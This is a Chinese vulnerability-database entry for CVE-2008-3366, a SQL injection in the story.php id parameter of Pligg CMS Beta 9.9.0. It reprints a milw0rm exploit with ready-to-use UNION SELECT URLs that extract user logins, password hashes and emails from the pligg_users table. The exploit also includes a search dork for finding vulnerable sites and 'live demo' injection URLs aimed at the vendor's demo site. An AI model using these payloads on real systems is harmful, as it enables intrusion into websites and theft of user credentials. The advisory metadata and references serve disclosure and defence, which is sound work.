pligg pligg_cms 'story.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1115781 漏洞类型 SQL注入
发布时间 2008-07-28 更新时间 2008-07-30
CVE编号 CVE-2008-3366 CNNVD-ID CNNVD-200807-457
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/6146
https://www.securityfocus.com/bid/80984
https://cxsecurity.com/issue/WLB-2008070157
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200807-457
|漏洞详情
Pligg是一个Web2.0内容管理系统(CMS)。与现存的CMS最大不同之处在于它能够让你的访问者们自己决定网站的内容并提供让他们建立一个交流圈功能。PliggCMSBeta9.9.0版本中的story.php存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意的SQL指令。此漏洞可能与CVE-2008-1774交互。
|漏洞EXP
|___________________________________________________|
|
|    Pligg Beta 9.9.0 (id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.pligg.com/
|
| DorK   : Powered By Pligg | Legal: License and Source
|
| version :  9.9.0 
|___________________________________________________|



Exploit:  


USER :

www.[target].com/Script/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_login,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--


PASSWORD :

story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_pass,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--


EMAIL :

www.[target].com/Script/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_email,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--

 



L!VE DEMO: :

USER :

http://www.pligg.com/demo01/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_login,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--

PASSWORD :

http://www.pligg.com/demo01/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_pass,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--







____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-28]
|受影响的产品
Pligg Pligg CMS 9.9.0 Beta Pligg Pligg CMS 9.9.0
|参考资料

来源:XF
名称:pliggcms-story-sql-injection(44021)
链接:http://xforce.iss.net/xforce/xfdb/44021
来源:MILW0RM
名称:6146
链接:http://www.milw0rm.com/exploits/6146
来源:VUPEN
名称:ADV-2008-2214
链接:http://www.frsirt.com/english/advisories/2008/2214/references
来源:SREASON
名称:4063
链接:http://securityreason.com/securityalert/4063